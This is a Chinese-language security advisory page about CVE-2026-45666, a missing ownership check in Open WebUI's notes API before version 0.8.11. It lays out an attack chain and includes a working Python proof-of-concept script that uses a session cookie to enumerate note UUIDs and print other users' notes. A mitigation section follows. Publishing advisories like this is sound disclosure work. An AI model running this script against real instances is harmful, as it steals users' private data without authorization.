IPBUF安全漏洞报告
English
CVE-2026-45666 CVSS 6.5 中危

CVE-2026-45666 Open WebUI 越权访问漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45666
漏洞类型
越权访问
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

IDOR越权访问Open WebUI信息泄露CVE-2026-45666

漏洞概述

Open WebUI是一个可离线运行的自托管AI平台。在0.8.11版本之前,其/api/v1/notes/{note_id}接口缺乏适当的授权检查。已认证的攻击者可以通过猜测或枚举UUID,绕过权限限制,非法获取其他用户的笔记数据。该漏洞导致严重的用户隐私泄露风险,目前已在0.8.11版本中修复。

技术细节

该漏洞的根源在于访问控制逻辑不完善,具体表现为水平越权。在Open WebUI受影响版本中,后端API路由/api/v1/notes/{note_id}接收用户请求时,虽然执行了身份认证机制,确保请求者已登录,但缺失了关键的对象所有权验证步骤。这意味着,只要攻击者拥有一个合法的低权限账户,便无需进一步的用户交互。攻击者利用自动化脚本,通过修改HTTP请求中的note_id参数(通常为UUID格式)并发送请求,即可探测并获取非本人所有的笔记数据。由于UUID具有可枚举性或可猜测性,攻击者能够大规模爬取用户隐私信息,严重破坏了系统的机密性。

攻击链分析

STEP 1
1. 信息收集与认证
攻击者识别目标为Open WebUI平台,并注册或使用现有的低权限账户进行登录,获取有效的Session Token。
STEP 2
2. 构造攻击请求
攻击者分析API接口,发现/api/v1/notes/{note_id}端点,利用脚本生成或猜测目标用户的note_id(UUID)。
STEP 3
3. 发起越权访问
携带有效身份凭证,向服务器发送大量修改了note_id参数的GET请求,尝试遍历所有可能的笔记ID。
STEP 4
4. 数据窃取
服务器因未校验资源归属权,直接返回了目标笔记的详细内容,攻击者成功获取其他用户的敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_idor(target_host, session_cookie): """ Proof of Concept for CVE-2026-45666 Demonstrates IDOR vulnerability in Open WebUI /api/v1/notes/{note_id} """ headers = { "Cookie": f"auth_token={session_cookie}", "User-Agent": "CVE-2026-45666-Scanner" } # Example UUIDs to enumerate uuids_to_test = [ "00000000-0000-0000-0000-000000000001", "00000000-0000-0000-0000-000000000002", "123e4567-e89b-12d3-a456-426614174000" ] print(f"[*] Starting IDOR scan against {target_host}") for note_id in uuids_to_test: url = f"{target_host}/api/v1/notes/{note_id}" try: response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Vulnerable! Retrieved data for {note_id}:") print(response.json()) elif response.status_code == 401: print("[-] Authentication failed. Check session cookie.") break elif response.status_code == 404: print(f"[.] Note ID {note_id} not found (trying next...)") except Exception as e: print(f"[!] Error connecting to {url}: {e}") if __name__ == "__main__": # Replace with actual target and a valid authenticated cookie TARGET = "http://localhost:3000" COOKIE = "VALID_LOW_PRIV_USER_COOKIE_HERE" exploit_idor(TARGET, COOKIE)

影响范围

Open WebUI < 0.8.11

防御指南

临时缓解措施
若无法立即升级,建议在应用防火墙(WAF)中配置规则,对/api/v1/notes/接口的请求频率进行限制,或暂时禁用该功能接口以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表